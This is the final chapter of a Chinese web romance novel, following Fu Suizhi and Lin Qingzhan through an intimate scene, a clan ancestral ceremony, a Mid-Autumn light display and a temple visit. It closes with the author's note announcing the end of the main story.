他低头在她颈窝闻了闻,舌尖贴着她肌肤吻下去,手掌捧着雪白,是恨不得将她揉进心里珍藏起来的。 好一会儿后,他才放开,改而去抓住她的手指往下。 所有的情绪在此刻膨胀,他急需一个出口,手臂环着她的肩膀没让她动,只手指在动。 他的喉咙里压不住极速的喘.息,他低头去吻了吻她的额头,沿着柔嫩的肌肤往下,探到最美的花,含住亲吻。 林青盏仰头望着海棠花落地灯的那个光点,眼睛感觉很酸涩,脑袋晕晕的,整个世界好似在快速旋转。 好酸涩,好难受。 她感觉到他的舌尖很灵活。 四点时,门外响起敲门声,傅随之没有理会,从背后紧紧抱着林青盏,这种亲密无间的感觉让他很是疯狂,心底唯一的念头是抓住她的手掌,更加用力地往前。 好似潜水时掉落下去的那一瞬间,他坠落在最美丽的花园里,枝桠不停往下沉,随即看到了海底的梦幻世界- 秦楠和傅慎在门口等了二十分钟,没等到人出来,秦楠赶忙让人去老宅传话,祭祖的时间往后推了一个小时。 自从上次傅清檐被抓走后,族中的多方势力现在都有些胆怯,即便是族长也不敢多说什么。 而且那晚之后,傅怀锦一病不起,现在整日躺在床上。傅随之对沈家蓉网开一面,没将她推出去,只让她在府上伺候老爷子。 现在老宅也是傅随之说了算。 五点时分,傅随之终于出来,没想到林青盏也跟着起来了。 傅慎明白傅随之的意思,赶忙让人备车,将他们两人往老宅那边送。 林青盏一起过去祭祖,是傅随之原本就想做的,两人既然结婚了,她现在就是傅家的当家主母,她可以参加今日族中的祭祖大典。 怕的是她睡不够。 不过被他这么一闹,她倒是清醒了,便干脆跟着过去。 两人并肩走进老宅宗堂时,里面的所有人都转身看向他们,所有声音都像是被消磁,彻底寂静。 傅随之作为上位者习惯了众人的目光,面无表情满是冷漠。 他身旁的林青盏那张脸看似莞尔温柔,放在这种场合,却有种能够沉淀得住的沉稳。 她全程跟着傅随之,并未露怯,落落大方,接受众人的巴结攀谈,也接受部分人疏离的鄙视,反正他们不敢发出任何声音,因为她现在是傅家当家主母。 从小白云将她教授得很好,各种礼仪都很到位,一整天下来完全让人挑不出错,但这种高强度的流程下来,她满身疲惫。 但她还不能休息。 晚餐结束后,傅随之带着她启程回之青别墅,他们还得回去祭祀傅清庭和棠傛。 好在明叔和李婶都准备妥当,他们过去上了香,等着李婶烧完纸钱,他们才终于闲下来。 十八个小时后,他们再次回到房间里。 傅随之揉了揉她的脸颊,“先别睡,有个东西让你看。看窗外。” 林青盏躺在腿上,望着窗外的明月看了会儿,实在受不住,眼睛就要闭上,“月亮很漂亮,但是我好困。” 下一秒,窗外的浮城瞬间亮起亿万盏灯火,像是要将整座城市彻底点亮。 林青盏诧异,“这是?” “这是我为你点亮的万家灯火,小纾,中秋节快乐,往后每一年,三哥都要跟你团团圆圆的。” 林青盏转身抱住他的腰,“好感动啊。” 傅随之还想说什么,却见她闭上眼睛,嘀咕了声,“受不了,太困了。我明天和小蝉约好了要去浮云寺上香呢。”随后再忍不住沉沉地睡下了。 傅随之垂眸看着她,感觉胸膛里那颗心脏比天空挂着的月亮还要圆满。 “睡吧。”- 隔天,林青盏醒来发现傅随之已经不在了。 昨天是祭祖大典,今天还会有很多事情,傅随之没再让林青盏跟着他去忙。 她换了身浅粉色的锦绣长裙,偏新中式的旗袍,带着梨花底纹,腰间纤细点缀着小小的珍珠,很是好看。 傅小灵已经为她准备好早餐,吃完后,她坐车去找了顾蝉,两人一起往浮云寺而去。 每年这日,浮云寺都会开放让众人祈福,顾蝉信佛自然是要来的。 林青盏其实心底带着诚心,但没有顾蝉那么经常来。 时隔一年,她感觉浮云寺所有建筑好似没变化,却又感觉略有些不同。 观察了好一会儿,她才转身问顾蝉:“这山上的海棠花是什么时候种的,很好看。” 顾蝉看了眼边上的垂丝海棠和西府海棠,笑出声:“这个要问你们家那位啊。” “嗯?” 林青盏疑惑看向顾蝉,脑海里想到那天回程时,她问过傅随之为什么这个时节有这么多的海棠花。 那时候傅随之回答很霸气,她便没有多问。 现在想来确实奇怪。 她又问顾蝉,顾蝉笑着解释:“你不在这一年,傅随之让人将满城栽满了海棠花,过了时节凋落了就移植过来新的。之前我哥他们问过他,他说不知道什么时候能找到你,他只是想在你回城时能看到最喜欢的海棠花。只为这一眼,他将浮城的市花改成了海棠。” 这件事傅随之从头到尾没告诉过她。 顾蝉抓住她的手掌,“先别急着感动,带你去看样东西。” 她拉着林青盏踏过青石路,一直往山间的殿宇而去,走到最深处一座倾心堂才终于停下脚步。 顾蝉为她推开木门,看到里面空空荡荡,只是中央的红色木桌上摆放着两盏长明灯,旁边则是两盏往生灯。 这长明 灯和往生灯灯芯是特制的,即将用完前可以再放进去,保证永不熄灭。 顾蝉站在她身后解释,“傅随之之前给你点了长明灯,又给孩子点了往生灯,都存在这倾心堂里没让外人发现。去年春节的时候,我们一起过来祭拜,他无意间听到我和住持说起你为他供奉的长明灯,就将自己的那盏长明灯也移过来了,说是让你们一家人团团圆圆的。” 林青盏垂眸望着闪烁的烛光,想到顾蝉之前说过,他是三步一叩首求到佛主面前,请赐的长明灯和往生灯,心底感觉涨涨的。 顾蝉双手搭在她肩膀,“是不是很感动?” 林青盏“嗯”了一声。 “本来你离开之后,我可讨厌傅随之了,真是恨不得揍他一顿,我还和他吵过架,说他没有好好珍惜保护你。可是后来,我看到这倾心堂,觉得他心底还是很爱你的吧。 前段时间你们结婚的消息传出去,这件事不知道怎么被八卦杂志知道了,他们还在杂志上点评过,说傅随之是冷傲阴冷的傅三爷,却甘愿为你,折下这膝盖,跌落尘埃里去,叫人好生感动。 八卦杂志的点评是:不解风情的人却坠落风情,无法自拔无可救药。 我觉得有点道理。” 此刻,林青盏只觉得心脏紧紧的,突然很想念傅随之。 带她到这里逛了下,顾蝉自个儿跑去跟住持大师参禅。 林青盏迈步走出倾心堂,沿着青石路往外走,绕着后院闲庭散步。 不知不觉走到了之前停留的地方,仰头可以看到对面一座高塔,足有十二层,从下往上看,像是与天相连。 高塔大门的石阶下面立着青铜香炉,青铜香炉前站着西装革履的男人,和当初她初见时一模一样。 男人立于殿堂前,满脸虔诚,好似在诚心许愿。 林青盏只感觉全身的血液瞬间往上涌,她双手贴着白皙脸颊做喇叭状对着那边叫着:“傅随之。” 石头围栏下的人转过身,那双眼眸没有了以往的清冷,望着她满是柔情。 林青盏想转身跑下去,手机却先一步响起,她快速接起来,听到电话彼端的男人低沉到略微暗哑的声音,“我始终在这里,跑什么?” 她纤细手肘搭在围栏,手托腮与他隔空相望,“你怎么来了?” “忙完了,过来接你。”傅随之仰着头对她笑,“既然来了,我也跟佛主求一个心愿。” “什么?” 傅随之深深望着她,“你许愿我永世喜悦安康。现在,我将这个愿望还给你。” 林青盏笑了,“你这么诚心,佛主肯定会替你实现这个愿望。” 傅随之紧握着手机,没有告诉她。 以前他并不信佛,他只信自己,可现在他愿意信一信,只要她这辈子无忧无虑,平安喜乐。 他举起手臂,突然将手里拿着的一张纸放开,白色宣纸随风往她的方向飘来。 午后的风不是很大,林青盏垂眸望着那白纸,隐隐约约看到了纸上写的黑字。 ——为你点亮万盏灯火,为你海棠花开满城,为你守四季侯天明,为你情起一往而深—— 作者有话说:昨晚我值夜班,我们岗位特殊,节假日更忙,昨晚忙了一整夜,所以白天回来实在受不住,就没有写完,中午吃完饭开始写到现在才写完,抱歉了,更新晚了点。 = 到此,正文完结了。 我心底有点失落感。 其实当初要写这个故事的时候,我是很迟疑的,因为故事不算轻松,男主人设也不是我擅长的(果然成绩比唐老大那本差多了)。好在我还是顺利写到这里,谢谢你们阅读。 你们看到更新不过三个月,其实我和小纾傅三已经相处半年多了,我很爱他们,希望他们在浮城好好生活,一辈子健康平安,携手到白头。 = 明天允许我休息一天哈,节假日嘛。后面继续更新番外! 想看什么再告诉我,能写我尽量都写出来。 = 另外国庆节中秋节双节快乐!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m